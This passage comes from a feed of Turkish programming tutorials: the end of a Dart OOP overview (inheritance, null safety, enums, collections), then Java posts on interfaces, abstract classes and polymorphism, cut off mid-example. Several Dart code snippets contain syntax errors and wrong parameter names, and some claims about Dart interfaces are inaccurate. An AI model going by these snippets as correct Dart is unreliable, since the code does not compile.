src="https://cdn-images-1.medium.com/max/812/1*cxX-bMvk0NgWbios08GHJA.png" /><figcaption>Kasım Adalan — Flutter Bootcamp Programı | Dart | 2024</figcaption></figure><p>Miras alınan sınıf, <em>“üst sınıf”</em> veya <em>“ana sınıf”</em> olarak adlandırılırken, miras alan sınıf ise <em>“alt sınıf”</em> veya <em>“alt sınıf”</em> olarak adlandırılır.</p><p>Dart dilinde bir sınıfın başka bir sınıftan miras alınması için extends anahtar kelimesi kullanılır.</p><p>Öncelikle <strong><em>SuperClass</em></strong> olan <strong>Ev</strong> sınıfımızı tanımlayalım ve bir özellik ekleyelim.</p><pre>class Ev {<br>int pencereSayisi;<br><br>Ev({required this.pencereSayisi}) : } // dolu constructor</pre><p><strong>Saray </strong>sınıfımızı tanımlayıp, üst sınıf olan <strong>Ev</strong> sınıfına<strong><em> extend</em></strong> edelim.</p><pre>import &#39;...&#39;<br><br>class Saray extends Ev {<br>int kuleSayisi;<br><br>Saray({required this.kuleSayisi})}</pre><p>Burada <strong><em>extend</em></strong><em> </em>ettikten sonra yukarıda otomatik olarak class <em>import </em>edilir. Fakat işimiz burada bitmedi, kodumuz hata verdi. Bunun nedeni <strong>Ev</strong> sınıfının kendine ait <strong>pencereSayisi </strong>parametresine sahip olmasıdır. Bizim bunu kodumuza aktarmamız gerekir. Bunun için <strong>Super</strong> anahtar kelimesini kullanmamız gerekir. <strong>Super,</strong> burada üst sınıf olan <strong>Ev</strong>’i işaret eder.</p><pre>import &#39;...&#39;<br><br>class Saray extends Ev {<br>int kuleSayisi;<br><br>Saray({required this.kuleSayisi}) : super(pencereSayisi : 100); <br>} </pre><p>Burada üst sınıfımızdaki <strong>pencereSayisi</strong> değişkenini miras alıp ona <strong>100</strong> değerini atadık. Fakat bu kullanım doğru değildir. Değeri baştan atama genelde tercih edilmez. Veriyi dışarıdan alacak şekilde bir kullanım sunmalıyız.</p><p>Villa sınıfı için yapmak gerekirse;</p><ul><li>Önce constructor’a bu değeri (dışarıdan alacağımız için) belirtmemiz gerekir.</li><li><strong>Constructor</strong> kendine gelen değeri, <strong>super</strong> kısmında belirttiğimiz pencere sayısına eşitler.</li><li>Genelde parametrenin ismiyle tanımladığımız değişken ismi aynı olur.</li></ul><pre>import &#39;...&#39;<br><br>class Villa extends Ev {<br>bool garajVarmi;<br><br>Villa({required this.garajVarmi, int pencereSayisi}) : <br>super(pencereSayisi : pencereSayisi); // Ev(pencereSayisi)<br>}<br></pre><p>Şimdi <em>main </em>sınıfımıza gelirsek, <strong>Saray </strong>ve <strong>Villa </strong>sınıflarına üst sınıf olan<strong> Ev</strong> sınıfından miras aldığı<em> pencereSayisi </em>değişkeninin kalıtım yoluyla geldiğini görebiliriz.</p><pre>void main(){<br><br>var topkapiSarayi = Saray(kuleSayisi: 10, topkapiSarayi: 200);<br>var beyazVilla = Villa(garajVarmi: true, beyazVilla: 30);<br><br>print(topkapiSarayi.topkapiSarayi);<br>print(beyazVilla.beyazVilla);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*DqxRagclCSJX-0FW.png" /></figure><h4>Downcasting ve Upcasting</h4><p>Dart dilinde “downcasting” ve “upcasting”, nesne yönelimli programlama (OOP) kavramlarıdır ve bir sınıf hiyerarşisindeki sınıflar arasındaki ilişkiyi ifade ederler.</p><p><strong>Upcasting</strong></p><ul><li>Upcasting, bir alt sınıf nesnesinin bir üst sınıfa atanmasıdır.</li><li>Yani, bir alt sınıf nesnesi, onu temsil eden üst sınıf türüne dönüştürülür.</li><li>Örneğin, bir “Hayvan” sınıfı ve ondan türetilen bir “Köpek” alt sınıfı olduğunu varsayalım. Bir köpek nesnesi oluşturulduğunda, bu nesne “Hayvan” türüne upcast edilebilir.</li></ul><p><strong>Downcasting</strong></p><ul><li>Downcasting, bir üst sınıf türünden bir nesnenin, alt sınıf türüne dönüştürülmesidir.</li><li>Bu işlem, bir üst sınıf türüne upcast edilmiş bir nesnenin, uygun durumda, alt sınıf türüne geri dönüştürülmesini sağlar.</li><li>Ancak, downcasting yaparken dikkatli olunmalı ve tür güvenliği sağlanmalıdır, çünkü bazen dönüşüm işlemi başarısız olabilir ve program hata verebilir.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vRfEAIAJsq0Djd-4t0r-6A.png" /><figcaption>Kasım Adalan — Flutter Bootcamp Programı | Dart | 2024</figcaption></figure><h4>Overriding</h4><p>Dart dilinde, bir alt sınıfın üst sınıfta tanımlı bir metodunun davranışını değiştirmesi işlemine<strong> “overriding”</strong> denir.</p><ol><li>Üst sınıfta tanımlı bir metod alt sınıfta tekrar tanımlanır.</li><li>Bu tekrar tanımlanmış metod, üst sınıftaki aynı adlı metodu geçersiz kılar.</li><li>Alt sınıftaki bu metot, üst sınıftaki metottan farklı bir davranış sergileyebilir.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I4tU_9EcZKtVgd4ZhD2YPA.png" /><figcaption>Kasım Adalan — Flutter Bootcamp Programı | Dart | 2024</figcaption></figure><h4>Interface ve Abstract Class</h4><p>Bir interface, sınıflar arasında bir tür sözleşme sağlar. Bu sözleşmeler, sınıfların belirli metodları ve özellikleri uygulamasını gerektirir. Hazır taslaklar gibi düşünebilirsiniz. Bir sınıf, bir interface’i <strong>“implement”</strong> anahtar kelimesiyle uygular.</p><p>Interface’ler sınıflara özellik katar. Kalıtımdan farkı tanımlanan her şeyi kullanmak zorunda olmamız ve <em>extend</em> yerine <em>implement </em>anahtar kelimesini kullanmamızdır.<br>Bir sınıf birden fazla <strong>interface</strong> alabilir. Genellikle iki sayfa arasında ki iletişimi kurmak için kullanılır. Bir sayfada işlem yaptığımız zaman başka sayfada çalıştırmayı sağlar.</p><ul><li>Default olarak tüm Interface üyeleri <strong>abstract </strong>ve <strong>public </strong>olarak tanımlanır. Sizin özellikle belirtmeniz gerekmez.</li><li>Dart dilinde resmi bir interface anahtar kelimesi yoktur, ancak interface benzeri yapılar abstract sınıflar kullanılarak oluşturulabilir.</li></ul><p>Bir abstract sınıf, bir arayüz gibi davranabilir. Yani, bir sınıfın belirli bir arayüzü uygulamasını sağlayabilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/0*LB-zGhh-uTl3pHQ7.png" /></figure><blockquote>NOT: Abstract sınıflar içerisine hem sanal metodlar hem normal metodlar tanımlanabilir. Interface içerisinde metodlar sadece sanal metod olarak tanımlanabilir. Metod body kısmı tanımlanmaz. Abstract sınıflar hem diğer abstract sınıfları extend ederek, hem de diğer interface’leri implemente ederek çoklu kalıtım alabilir.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*O7Si_bWJiBmJFMrFHu_ZIw.png" /><figcaption>Kasım Adalan — Flutter Bootcamp Programı | Dart | 2024</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*tahtiweCTHkkrrDvachnMA.png" /><figcaption>Kasım Adalan — Flutter Bootcamp Programı | Dart | 2024</figcaption></figure><h4>Null Safety</h4><p>Dart dilinde <strong>“null safety</strong>”, kodunuzdaki<strong> null</strong> referanslarından kaynaklanabilecek hataları önlemek için geliştirilmiş bir özelliktir. Bu özellik, programın çalışma zamanında <strong>null</strong> referans hatalarını önlemeye yardımcı olur ve kodunuzun daha güvenli ve hatasız olmasını sağlar.</p><ol><li>Nullable ve Non-Nullable Türler: Dart dilinde, bir değişkenin null değer alıp alamayacağını belirtmek için ? ve ! gibi işaretçiler kullanılır. ? işareti, bir değişkenin null olabileceğini belirtirken, ! işareti bir değişkenin null olmadığını belirtir.</li></ol><pre>String? mesaj = null;<br>mesaj = &quot;Merhaba&quot;;<br><br>late int x; // değeri daha sonra atamak istersek kullanabiliriz.<br><br>print (&quot;Yöntem1  : ${mesaj?.toUpperCase()}&quot;);<br>print (&quot;Yöntem2  : ${mesaj!.toUpperCase()}&quot;);<br></pre><p>2. Nullable Değerlerin Kontrolü: Null safety, null değerlerle çalışırken daha güvenli kod yazmayı sağlar. Bu sayede, null değerlerle ilgili potansiyel hatalar önceden tespit edilir ve önlenir.</p><h4>Enumeration (Enum)</h4><p>Dart dilinde enum (sıralı tür) kullanarak, belirli bir türdeki sabit değerleri bir araya getirebilirsiniz. Bu, belirli bir türdeki değerleri bir liste gibi tanımlamanıza olanak tanır ve bu değerlerin birbirleriyle karşılaştırılmasını ve kullanılmasını kolaylaştırır.</p><pre>void main(){<br>// enum<br>ucretHesapla (KonserveBoyut.orta, 20);<br>}<br><br>void ucretHesapla (KonserveBoyut boyut, int adet) {<br>  switch(boyut) {<br>     case KonserveBoyut.kucuk: {<br>      print(&quot;Toplam maliyet: ${adet * 32} &quot;);<br>}<br>     break;<br><br>     case KonserveBoyut.orta: {<br>        print(&quot;Toplam maliyet: ${adet * 45] &quot;);<br>}<br>     break;<br><br>     case KonserveBoyut.buyuk: {<br>        print(&quot;Toplam maliyet ${adet 67} &quot;);<br>}<br>     break;</pre><h4><strong>Kapsülleme (Encapsulation)</strong></h4><p><strong>Dart</strong> dilinde, sınıf içinde verileri ve işlevleri bir araya getirerek bunları bir <em>“kapsül”</em> içine almak ve dış dünyadan gelen erişime karşı korumak için <em>“encapsulation”</em> kullanılır. Bu, nesne yönelimli programlamada (OOP) önemli bir prensiptir ve <strong>veri gizleme (data hiding) </strong>olarak da bilinir.</p><p><strong>Encapsulation’ın </strong>temel amacı, sınıfın içindeki verilere doğrudan erişimi engellemek ve bunlara yalnızca belirlenmiş metodlar aracılığıyla erişimi sağlamaktır</p><p>Dart dilinde encapsulation sağlamak için şu adımlar izlenir:</p><ol><li><strong>Veri Gizleme (Data Hiding): </strong>Sınıf içindeki verilerin (private veya <strong>_</strong> ile başlayan değişkenler) ve metotların (private metotlar) erişim belirleyicileriyle korunması.</li><li><strong>Getter ve Setter Metotları: </strong>Sınıfın dışından verilere erişmek veya bu verileri güncellemek için belirli metotlar (getter ve setter) sağlanması. Bu metotlar, veriye erişimi kontrol etmek ve doğrulamak için kullanılabilir.</li></ol><pre>class Kisi {<br>  // private değişkenler<br>  String _ad;<br>  int _yas;<br><br>  // Constructor<br>  Kisi(this._ad, this._yas);<br><br>  // Getter ve Setter metotları<br>  String get ad =&gt; _ad;<br>  set ad(String ad) =&gt; _ad = ad;<br><br>  int get yas =&gt; _yas;<br>  set yas(int yas) =&gt; _yas = yas;<br><br>  // Metotlar<br>  void bilgileriGoster() {<br>    print(&#39;Ad: $_ad, Yaş: $_yas&#39;);<br>  }<br>}<br><br>void main() {<br>  Kisi kisi = Kisi(&#39;Ahmet&#39;, 30);<br><br>  // Getter ile verilere erişim<br>  print(&#39;Ad: ${kisi.ad}, Yaş: ${kisi.yas}&#39;);<br><br>  // Setter ile verileri güncelleme<br>  kisi.ad = &#39;Mehmet&#39;;<br>  kisi.yas = 35;<br><br>  // Metodu çağırma<br>  kisi.bilgileriGoster();<br>}</pre><p>Bu örnekte, Kisi sınıfı içindeki _ad ve _yas değişkenleri _ ile başlayarak private olarak tanımlanmıştır. Bu değişkenlere doğrudan erişim dışarıdan engellenmiş ve get ve set metotları kullanılarak erişim sağlanmıştır. Bu, sınıfın iç yapısını korur ve veriye kontrolsüz erişimi engeller.</p><pre>class Pazarlamaci {<br> String adi;<br> String soyAdi;<br> int telefonu;<br> int satisAdeti;<br> int? _prim; //prim dışarıya kapandı<br><br> //constructor içerisinde olmadığı için boş kalabilir null olabilir<br> //hatası verdi, biz değer vereceğiz dedik, soru işareti koyarak<br> //hatayı kaldırdık.<br><br>Pazarlamaci(this.adi, this.soyAdi, this.telefonu, this.satisAdeti) {<br> _prim = satisAdeti * 5;<br> }<br><br>int get prim {<br> return _prim!;<br> //dışarıdan okumak istedik ve getter oluşturduk<br> }<br>set prim(int value) {<br> _prim = value;<br> //dışarıdan müdahale etmek istedik ve setter oluşturduk.<br> }<br>}</pre><h3>Collections</h3><p>Dart dilinde, çeşitli veri yapılarını temsil etmek ve işlemek için bir dizi koleksiyon sınıfı bulunmaktadır. Bu koleksiyon sınıfları, listelerden, haritalara ve kümelere kadar çeşitli veri yapılarını temsil eder ve genellikle veri toplama, düzenleme ve işleme işlemlerinde kullanılır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*WhgSHodP5Mhmx2N8ew_3RA.png" /></figure><ol><li><strong>Listeler (Lists):</strong></li></ol><ul><li>Sıralı ve değiştirilebilir veri koleksiyonlarıdır.</li><li>Elemanlar arasında indeks kullanılarak erişim sağlanır.</li><li>List sınıfı veya kısayol olarak [] kullanılarak oluşturulabilir.</li></ul><pre>List &lt;String&gt; sebzeler = [ &#39;patates&#39; , &#39;sogan&#39; , &#39;biber&#39; ];<br>print (birinci eleman ${liste[0]} &#39; )<br><br>// Veri Ekleme<br>liste.add(&#39;limon&#39;);<br><br>// Güncelleme<br>liste.insert (2, &#39;balık&#39;);<br><br>// Veri Okuma<br>String birinciSebze = sebzeler[0];<br>print(birinciSebze);</pre><h4>Döngü ile Listeyi Yazdırma</h4><pre>var meyveler = &lt;String&gt;[];<br>meyveler.add(&quot;Muz&quot;);<br>meyveler.add(&quot;Kiraz&quot;);<br><br>// For Each<br>for(var meyve in meyveler){<br>print(&quot;Sonuç : $meyve)};<br><br><br>// For Döngüsü<br>for(var i=0;i&lt;meyveler.length;i++){<br>print(&quot;$i. -&gt; ${meyveler[i])}; }</pre><h4>Nesne Tabanlı List Kullanımı</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*9xk_AcqbTRcx9HKUyN2aww.png" /><figcaption>Kasım Adalan — Flutter Bootcamp Programı | Dart | 2024</figcaption></figure><h4>List Sıralama</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YPzQlEZsuieLAlY2Ofo4nA.png" /><figcaption>Kasım Adalan — Flutter Bootcamp Programı | Dart | 2024</figcaption></figure><h4>List Filtreleme</h4><p>Dart dilinde bir listeden belirli kriterlere uyan elemanları filtrelemek için where() yöntemi kullanılır. Bu yöntem, bir koleksiyondan belirli bir koşulu sağlayan elemanları içeren yeni bir koleksiyon döndürür.</p><pre>void main() {<br>  List&lt;int&gt; numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];<br><br>  // Tek sayıları filtreleme<br>  List&lt;int&gt; oddNumbers = numbers.where((number) =&gt; number % 2 != 0).toList();<br>  print(&#39;Tek sayılar: $oddNumbers&#39;);<br><br>  <br>  // For döngüsü ile filtreleme<br>  List&lt;int&gt; oddNumbers = [];<br>  for (int number in numbers) {<br>    if (number % 2 != 0) {<br>      oddNumbers.add(number);<br>    }<br>  }<br>  print(&#39;Tek sayılar: $oddNumbers&#39;);<br>}</pre><p>Ancak, where() yöntemi daha kısa ve okunabilir bir yöntemdir ve bu tür filtreleme işlemleri için Dart dilinde yaygın olarak kullanılır.</p><p>Iterable arayüzü, Dart dilinde koleksiyonları temsil etmek için kullanılan genel bir arayüzdür. Bu arayüz, koleksiyonlarda gezinme ve işlemler yapmak için kullanılan bir dizi yöntemi tanımlar. Iterable arayüzü, where() yöntemi gibi birçok kullanışlı yöntemi içerir.</p><pre>void main() {<br>  List&lt;int&gt; numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];<br><br>  // Iterable&#39;dan yararlanarak tek sayıları filtreleme<br>  Iterable&lt;int&gt; oddNumbersIterable = numbers.where((number) =&gt; number % 2 != 0);<br>  List&lt;int&gt; oddNumbers = oddNumbersIterable.toList();<br>  print(&#39;Tek sayılar: $oddNumbers&#39;);</pre><p><strong>2. HashSet :</strong></p><ul><li>Benzersiz elemanları saklayan veri koleksiyonlarıdır.</li><li>Elemanların sırası önemli değildir. Sıralar karışabilir.</li><li>Set sınıfı veya Set.from veya {} kullanılarak oluşturulabilir.</li></ul><pre>Set&lt;String&gt; Names = {&#39;Alice&#39;, &#39;Bob&#39;, &#39;Charlie&#39;};<br>Set&lt;int&gt; Numbers = Set.from([1, 2, 3, 4, 5]);</pre><pre>// Tanımlama<br>var plakalar = HashSet.from([14, 54, 21]);<br>var sebzeler = HashSet&lt;String&gt;();<br><br>sebzeler.add(&quot;Patates&quot;);<br>sebzeler.add(&quot;Biber&quot;);<br><br>// Yazdırma<br>for(var sebze in sebzeler){<br>print(sebze);}</pre><p><strong>3. HashMap:</strong></p><ul><li>Anahtar-değer çiftlerini saklayan veri koleksiyonlarıdır.</li><li>Anahtarlar benzersiz olmalıdır.</li><li>Map sınıfı veya kısayol olarak {} kullanılarak oluşturulabilir.</li></ul><pre>// Tanımlama<br>var sayilar = {&quot;Bir&quot; : 1, &quot;Üç&quot; : 3 };<br><br>var iller = HashMap&lt;int,String&gt;();<br>iller[02] = &quot;Adıyaman&quot;;<br><br>// Değer Atama<br>iller[55] = &quot;Samsun&quot;;<br><br>// Yazdırma<br>var anahtarlar = iller.keys;<br>  <br>for(var il in anahtarlar){<br>  print(&quot; $il -&gt; ${iller[il]} &quot;);}<br><br>// Hazır Fonksiyonlar<br>iller.remove(55);<br>iller.clear;<br></pre><p><strong>Döngü ile Yazdırma Örnek:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*70mQ8TVcOUqouwvSxKPrTA.jpeg" /></figure><h3>Asenkron İşlemler</h3><p><strong>Dart</strong> dilinde asenkron işlemler, programın çalışma sürecinde paralel veya eşzamanlı olarak gerçekleşen ve diğer işlemlerin beklemesini gerektirmeyen işlemlerdir. Bu işlemler, genellikle uzun sürecek işlemleri <em>(dosya okuma/yazma, ağ çağrıları, veritabanı işlemleri gibi)</em> veya kullanıcı etkileşimiyle ilgili girişleri (kullanıcı tarafından yapılan dokunuşlar gibi) işlerken kullanılır.</p><p>Dart dilinde asenkron işlemleri gerçekleştirmek için Future ve async/await anahtar kelimeleri kullanılır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W2lFm5bMOaFY683fu6H-8g.png" /><figcaption>Kasım Adalan — Flutter Bootcamp Programı | Dart | 2024</figcaption></figure><h4>Baştan sonra Dart dilinin konularını bitirmiş bulunmaktayız. Dilerseniz diğer diller için yazdığım yazılara da bakabilirsiniz.</h4><h4>Keyifli Okumalar.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7403cb79687d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JAVA Programlama : Interface ve Abstract Class]]></title>
            <link>https://medium.com/@hifaoner/java-programlama-interface-ve-abstract-class-25cce4211a51?source=rss-4e8ed61e3c70------2</link>
            <guid isPermaLink="false">https://medium.com/p/25cce4211a51</guid>
            <category><![CDATA[abstract]]></category>
            <category><![CDATA[interfaces]]></category>
            <category><![CDATA[oop]]></category>
            <category><![CDATA[arayüz]]></category>
            <category><![CDATA[java]]></category>
            <dc:creator><![CDATA[Hifa Nur Oner | Design & Tech & Cybersecurity]]></dc:creator>
            <pubDate>Fri, 27 Oct 2023 11:21:08 GMT</pubDate>
            <atom:updated>2023-10-27T11:21:08.978Z</atom:updated>
            <content:encoded><![CDATA[<h3>JAVA Programlama : Interface ve Abstract Class</h3><h3>Abstract Class</h3><p>Java’nın nesne yönelimli programlama<em> (OOP) </em>özelliklerini kullanarak kalıtım<em> (inheritance) </em>hiyerarşileri oluşturmanın bir yoludur.</p><pre>// Soyut bir sınıf tanımlama<br>abstract class Shape {<br>    int x, y;</pre><p>Bir <strong>abstract</strong> sınıfın özellikleri şunlar olabilir:</p><ol><li><strong>Abstract sınıflar </strong>nesne örnekleri oluşturulamazlar, yani new anahtar kelimesi ile doğrudan bir örnek (instance) oluşturulamaz.</li><li><strong>Abstract sınıflar, soyut (abstract) metodlar içerebilir.</strong> Soyut metodlar sadece metot imzalarını<strong> (method signature)</strong> tanımlar, yani metodun adını, parametrelerini ve dönüş tipini belirtir, ancak bir gövde (body) içermezler. Bu metotların alt sınıflar tarafından uygulanması <strong>(override edilmesi) </strong>gerekir.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*oMLAi67DnRiZEsjP.jpg" /></figure><h3>Interface</h3><p><em>Java’da “interface,” bir sınıfın veya bir arayüzün nasıl davranması gerektiğini tanımlayan bir türdür. Java’da sınıflar, birbiriyle ilişkilendirilebilen nesneleri temsil ederken, arayüzler ise bir sınıfın veya bir nesnenin belirli bir davranışı uygulamasını zorlamak için kullanılır.</em></p><p><em>Java’da bir interface tanımlandığında, bu interface’i uygulayan sınıfların belirli yöntemleri (metodları) uygulaması gerekecektir. Yani bir sınıf, bir interface’i uyguluyorsa, bu interface’in içindeki tüm soyut (abstract) yöntemleri (methodları) gerçekleştirmek zorunda kalır. Böylece, farklı sınıflar aynı arayüzü uyguladığında, bu sınıfların ortak davranışları garanti altına alınmış olur.</em></p><ul><li><strong>new </strong>keywordü ile nesneleri <strong>oluşturulamaz</strong>.</li><li>Bir sınıfın ne yapması gerektiğini belirtir, nasıl yapması gerektiğini değil.</li><li>Default olarak tüm Interface üyeleri <strong>abstract </strong>ve <strong>public </strong>olarak tanımlanır. Sizin özellikle belirtmeniz gerekmez.</li><li>Bir sınıf birden fazla interface’i inherit <strong>edebilir</strong>, çoklu kalıtım (multiple-inheritance) <strong>desteklenir</strong>.</li><li>İçerisinde yalnızca metotların imzaları yer alır, içi dolu metot bulunduramazlar.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*6yzktQ5knoPicHYR.jpg" /></figure><pre>// Bir arayüz tanımlama<br>interface Sekil {<br>    double alanHesapla();<br>    double cevreHesapla();<br>}<br><br>// Arayüzü uygulayan bir sınıf<br>class Daire implements Sekil {<br>    private double yaricap;<br><br>    public Daire(double yaricap) {<br>        this.yaricap = yaricap;<br>    }<br><br>    @Override<br>    public double alanHesapla() {<br>        return Math.PI * yaricap * yaricap;<br>    }<br><br>    @Override<br>    public double cevreHesapla() {<br>        return 2 * Math.PI * yaricap;<br>    }<br>}<br><br>public class Main {<br>    public static void main(String[] args) {<br>        Daire daire = new Daire(5.0);<br>        System.out.println(&quot;Dairenin Alanı: &quot; + daire.alanHesapla());<br>        System.out.println(&quot;Dairenin Çevresi: &quot; + daire.cevreHesapla());<br>    }<br>}</pre><p>Yukarıdaki örnekte, <strong>“Sekil” </strong>adlı bir interface tanımlanmıştır ve bu interface’i uygulayan <strong>“Daire”</strong> sınıfı tanımlanmıştır. <strong>“Daire”</strong> sınıfı,<strong> “Sekil”</strong> interface’ini uygulamak zorundadır ve bu nedenle <strong>“alanHesapla” </strong>ve <strong>“cevreHesapla” </strong>adlı iki yöntemi gerçekleştirmiştir. Bu sayede,<strong> “Daire” </strong>sınıfı <strong>“Sekil”</strong> arayüzünün belirlediği davranışları uygulamış olur.</p><blockquote>NOT: Abstract sınıflar içerisine hem sanal metodlar hem normal metodlar tanımlanabilir. Interface içerisinde metodlar sadece sanal metod olarak tanımlanabilir. Metod body kısmı tanımlanmaz. Abstract sınıflar hem diğer abstract sınıfları extend ederek, hem de diğer interface’leri implemente ederek çoklu kalıtım alabilir.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25cce4211a51" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Java’da Inheritance ve Polymorphism]]></title>
            <link>https://medium.com/@hifaoner/javada-inheritance-polymorphism-ve-abstract-class-843923ece12e?source=rss-4e8ed61e3c70------2</link>
            <guid isPermaLink="false">https://medium.com/p/843923ece12e</guid>
            <category><![CDATA[abstract]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[oop]]></category>
            <category><![CDATA[polymorphism]]></category>
            <category><![CDATA[inheritance]]></category>
            <dc:creator><![CDATA[Hifa Nur Oner | Design & Tech & Cybersecurity]]></dc:creator>
            <pubDate>Fri, 27 Oct 2023 11:12:57 GMT</pubDate>
            <atom:updated>2023-10-27T18:10:46.133Z</atom:updated>
            <content:encoded><![CDATA[<h3>JAVA’da Inheritance ve Polymorphism</h3><h3>Inheritance (Miras Alma)</h3><p>Java’da <strong>inheritance</strong>, bir sınıfın başka bir sınıftan özelliklerini ve davranışlarını devralmasına izin veren bir nesne yönelimli programlama <em>(OOP) </em>kavramıdır. Java’da inheritance kullanarak, mevcut bir sınıfın özelliklerini ve davranışlarını yeniden kullanabilir ve yeni sınıflar oluşturabilirsiniz. Şimdi bunu bir örnekle anlatalım;</p><p>Bir banka sistemi üzerinden bireysel ve kurumsal müşteriler için bilgi sistemi yazacağız fakat öncelikle<strong> ‘Customer’ </strong>(müşteri) adında ikisi içinde ortak olan bir<strong> class</strong> oluşturacağız.</p><p>Her müşterinin kendine ait id, müşteri numarası ve telefon numarası vardır. Öncelikle yapımızı kuralım.</p><pre>public class Customer {<br><br> private int id;<br> private String customerNumber;<br> private String phone;</pre><p>Şimdi <strong>getter-setter</strong> metotlarımızı yazalım.</p><pre>// Üst Sınıf (Superclass) veya Ana Sınıf (Parent Class)<br>public int getId() {<br>  return id;<br> }<br><br> public void setId(int id) {<br>  this.id = id;<br> }<br><br> public String getCustomerNumber() {<br>  return customerNumber;<br> }<br><br> public void setCustomerNumber(String customerNumber) {<br>  this.customerNumber = customerNumber;<br> }<br><br> public String getPhone() {<br>  return phone;<br> }<br><br> public void setPhone(String phone) {<br>  this.phone = phone;<br> }</pre><p><strong>‘IndividualCustomer’</strong><em> (bireysel müşteri)</em> adında farklı bir class oluşturalım. İsim ve soyisim bilgilerini tutmasını isteyelim.</p><pre>// Alt Sınıf (Subclass)<br>public class IndividualCustomer extends Customer{<br> <br> private String firstName;<br> private String lastName;<br> <br> public String getFirstName() {<br>  return firstName;<br> }<br> public void setFirstName(String firstName) {<br>  this.firstName = firstName;<br> }<br> <br> public String getLastName() {<br>  return lastName;<br> }<br> public void setLastName(String lastName) {<br>  this.lastName = lastName;<br> }</pre><p>Yukarıdaki<strong> ‘extends Customer’</strong> ifadesi Java’da<strong> inheritance</strong> kullanarak bir sınıfı diğer sınıflara nasıl miras alabileceğimizi gösterir. Yani <strong>‘IndividualCustomer’ </strong>sınıfı <strong>‘Customer’ </strong>sınıfını miras alır. Bu da <strong>‘Customer’</strong> sınıfında ki tüm özellikleri bir alt sınıfının <strong>(IndividualCustomer)</strong> kullanabileceği manasına gelir.</p><p>Ayrıca kendi özel özellikleri <em>(firstName)</em> ve <em>(lastName)</em> vardır.</p><p>Aynı durumu <strong>‘CorporateCustomer’ (kurumsal müşteri)</strong> için de oluşturalım. Şirket ismi ve vergi numarasını tutmasını isteyelim.</p><pre>public class CorporateCustomer extends Customer {<br> <br> private String companyName;<br> private String taxNumber;<br> <br> public String getCompanyName() {<br>  return companyName;<br> }<br> public void setCompanyName(String companyName) {<br>  this.companyName = companyName;<br> }<br> <br> public String getTaxNumber() {<br>  return taxNumber;<br> }<br> public void setTaxNumber(String taxNumber) {<br>  this.taxNumber = taxNumber;<br> }</pre><p>Gördüğümüz üzere<strong> ‘CorporateCustomer’ </strong>sınıfı da<strong> ‘Customer’ </strong>sınıfını miras alarak alt sınıfı olmuştur. Yani kendi özellikleri dışında artık üst sınıfınında tüm özelliklerini almıştır.</p><p>Java’da <strong>inheritance</strong> kullanarak kodunuzu daha modüler ve yeniden kullanılabilir hale getirebilirsiniz.</p><h3>Polymorphism</h3><blockquote>Java’da <strong>polymorphism</strong>, nesne yönelimli programlamada önemli bir kavramdır ve aynı işlevi çağırmak için farklı sınıf türlerini kullanma yeteneğini ifade eder. <strong>Polymorphism, </strong>kodun daha esnek ve genel olarak tasarlanmasına yardımcı olur ve aynı işlevin farklı nesne türlerine uygulanabilmesini sağlar.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/0*pTh7dtIYp7LhoaqE.png" /></figure><p>Polymorphism olması için iki sınıf arasında kalıtım ilişkisi olmalıdır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*PUT3_pssxxeVy4mx.png" /><figcaption>Kaynak : Kasım Adalan “Java ile Android Geliştirme”</figcaption></figure><blockquote>Java’da polymorphism’i gerçekleştirmenin iki yaygın yolu vardır:</blockquote><blockquote><strong>Method Overriding (Yöntem Geçersiz Kılma): </strong>Bu, bir alt sınıfın, üst sınıfın aynı adı taşıyan bir metodunu (fonksiyonunu) yeniden tanımlaması anlamına gelir. Yani, alt sınıf, üst sınıfın metodunu aynı isimle yeniden tanımlar ve bu yeniden tanımlanan metod alt sınıfın özel davranışını uygular.</blockquote><pre>class Hayvan {<br>    void sesCikar() {<br>        System.out.println(&quot;Bilinmeyen bir ses çıkarıyor.&quot;);<br>    }<br>}<br><br>class Kedi extends Hayvan {<br>    @Override<br>    void sesCikar() {<br>        System.out.println(&quot;Miyav!&quot;);<br>    }<br>}<br><br>class Kopek extends Hayvan {<br>    @Override<br>    void sesCikar() {<br>        System.out.println(&quot;Hav hav!&quot;);<br>    }<br>}<br><br>public class PolymorphismOrnegi {<br>    public static void main(String[] args) {<br>        Hayvan hayvan1 = new Kedi();<br>        Hayvan hayvan2 = new Kopek();<br><br>        hayvan1.sesCikar(); // Kedi sınıfının sesCikar metodu çağrılır<br>        hayvan2.sesCikar(); // Kopek sınıfının sesCikar metodu çağrılır<br>    }<br>}</pre><p>Bu örnekte, Hayvan sınıfının sesCikar metodunu hem Kedi sınıfı hem de Kopek sınıfı yeniden tanımlar ve bu nesnelerin türüne bağlı olarak ilgili metod çağrılır.</p><p><strong><em>Polymorphic Referanslar: </em></strong><em>Bu, bir üst sınıf referansının alt sınıf nesnelerini işaret edebilmesi anlamına gelir. Bu şekilde, aynı referans üzerinden farklı alt sınıfların nesnelerine erişebilirsiniz.</em></p><pre>class Sekil {<br>    void ciz() {<br>        System.out.println(&quot;Şekli çiz.&quot;);<br>    }<br>}<br><br>class 